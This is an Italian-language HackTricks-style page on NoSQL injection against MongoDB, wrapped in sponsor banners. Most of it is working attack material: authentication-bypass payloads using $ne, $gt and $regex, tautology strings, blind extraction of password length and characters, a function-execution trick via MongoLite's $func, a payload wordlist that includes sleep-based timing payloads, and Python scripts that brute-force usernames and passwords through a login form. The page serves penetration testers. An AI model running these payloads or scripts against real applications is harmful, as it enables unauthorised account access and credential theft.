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# Iniezione NoSQL
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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Usa [**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection ) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=nosql-injection" %}
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< details >
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< summary > < strong > Impara l'hacking di AWS da zero a eroe con< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (Esperto Red Team AWS di HackTricks)< / strong > < / a > < strong > !< / strong > < / summary >
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< / details >
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## Sfruttare
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In PHP puoi inviare un Array cambiando il parametro inviato da _parameter=foo_ a _parameter\[arrName]=foo._
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Gli exploit si basano sull'aggiunta di un **Operatore** :
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```bash
username[$ne]=1$password[$ne]=1 #< Not Equals >
username[$regex]=^adm$password[$ne]=1 #Check a < regular expression > , could be used to brute-force a parameter
username[$regex]=.{25}& pass[$ne]=1 #Use the < regex > to find the length of a value
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username[$eq]=admin& password[$ne]=1 #< Equals >
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username[$ne]=admin& pass[$lt]=s #< Less than > , Brute-force pass[$lt] to find more users
username[$ne]=admin& pass[$gt]=s #< Greater Than >
username[$nin][admin]=admin& username[$nin][test]=test& pass[$ne]=7 #< Matches non of the values of the array > (not test and not admin)
{ $where: "this.credits == this.debits" }#< IF > , can be used to execute code
```
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### Bypass dell'autenticazione di base
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**Utilizzando non uguale ($ne) o maggiore ($gt)**
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```bash
#in URL
username[$ne]=toto& password[$ne]=toto
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username[$regex]=.*& password[$regex]=.*
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username[$exists]=true& password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
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### **SQL - Mongo**
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```javascript
query = { $where: `this.username == '${username}'` }
```
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Un attaccante può sfruttare ciò inserendo stringhe come `admin' || 'a'=='a` , facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia (`'a'=='a'`). Questo è analogo agli attacchi di SQL injection in cui vengono utilizzati input come `' or 1=1-- -` per manipolare le query SQL. In MongoDB, possono essere eseguite iniezioni simili utilizzando input come `' || 1==1//` , `' || 1==1%00` , o `admin' || 'a'=='a` .
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```
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Normal sql: ' or 1=1-- -
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Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
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```
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### Estrarre informazioni sulla **lunghezza**
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```bash
username[$ne]=toto& password[$regex]=.{1}
username[$ne]=toto& password[$regex]=.{3}
# True if the length equals 1,3...
```
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### Estrarre informazioni **data**
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```
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in URL (if length == 3)
username[$ne]=toto& password[$regex]=a.{2}
username[$ne]=toto& password[$regex]=b.{2}
...
username[$ne]=toto& password[$regex]=m.{2}
username[$ne]=toto& password[$regex]=md.{1}
username[$ne]=toto& password[$regex]=mdp
username[$ne]=toto& password[$regex]=m.*
username[$ne]=toto& password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
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### **SQL - Mongo**
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```
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/?search=admin' & & this.password%00 --> Check if the field password exists
/?search=admin' & & this.password & & this.password.match(/.*/)%00 --> start matching password
/?search=admin' & & this.password & & this.password.match(/^a.*$/)%00
/?search=admin' & & this.password & & this.password.match(/^b.*$/)%00
/?search=admin' & & this.password & & this.password.match(/^c.*$/)%00
...
/?search=admin' & & this.password & & this.password.match(/^duvj.*$/)%00
...
/?search=admin' & & this.password & & this.password.match(/^duvj78i3u$/)%00 Found
```
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### Esecuzione Arbitraria di Funzioni PHP
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Utilizzando l'operatore ** $func** della libreria [MongoLite ](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite ) (utilizzato per impostazione predefinita) potrebbe essere possibile eseguire una funzione arbitraria come in [questo report ](https://swarm.ptsecurity.com/rce-cockpit-cms/ ).
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```python
"user":{"$func": "var_dump"}
```
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![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit\_auth\_check\_10.png ](<../.gitbook/assets/image (933 ).png>)
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### Ottenere informazioni da diverse collezioni
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È possibile utilizzare [$lookup ](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/ ) per ottenere informazioni da una collezione diversa. Nell'esempio seguente, stiamo leggendo da una **collezione diversa** chiamata ** `users` ** e ottenendo i **risultati di tutte le voci** con una password corrispondente a un carattere jolly.
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**NOTA:** `$lookup` e altre funzioni di aggregazione sono disponibili solo se la funzione `aggregate()` è stata utilizzata per eseguire la ricerca anziché le più comuni funzioni `find()` o `findOne()` .
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```json
[
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{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
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]
```
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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Usa [**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection ) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati** al mondo.\
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Ottieni l'accesso oggi:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=nosql-injection" %}
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## Payloads MongoDB
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Elenco [da qui ](https://github.com/cr0hn/nosqlinjection\_wordlists/blob/master/mongodb\_nosqli.txt )
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```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' & & this.password.match(/.*/)//+%00
' & & this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it< 5000 ) ;
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
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## Script Blind NoSQL
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```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
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print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("< TRUE > " in r.text):
flag += char
print("[+] Flag: "+flag)
break
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```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
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for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
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```
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### Forza bruta nomi utente e password di accesso da POST login
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Questo è uno script semplice che potresti modificare, ma gli strumenti precedenti possono anche svolgere questo compito.
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```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
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print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
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def get_usernames(prefix):
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usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
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for u in get_usernames(""):
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get_password(u)
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```
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## Strumenti
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* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration ](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration )
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite ](https://github.com/C4l1b4n/NoSQL-Attack-Suite )
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## Riferimenti
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* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media ](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media )
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection )
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* [https://nullsweep.com/a-nosql-injection-primer-with-mongo/ ](https://nullsweep.com/a-nosql-injection-primer-with-mongo/ )
* [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb ](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb )
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< details >
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< summary > < strong > Impara l'hacking AWS da zero a eroe con< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (Esperto Red Team AWS di HackTricks)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
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2024-05-06 11:09:55 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO** ](https://github.com/sponsors/carlospolop )!
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* Ottieni il [**merchandising ufficiale PEASS & HackTricks** ](https://peass.creator-spring.com )
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* Scopri [**La Famiglia PEASS** ](https://opensea.io/collection/the-peass-family ), la nostra collezione di [**NFT esclusivi** ](https://opensea.io/collection/the-peass-family )
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* **Unisciti al** 💬 [**gruppo Discord** ](https://discord.gg/hRep4RUj7f ) o al [**gruppo telegram** ](https://t.me/peass ) o **seguici** su **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
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* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
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< / details >
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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Usa [**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection ) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli **strumenti comunitari più avanzati** al mondo.\
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Ottieni l'accesso oggi:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=nosql-injection" %}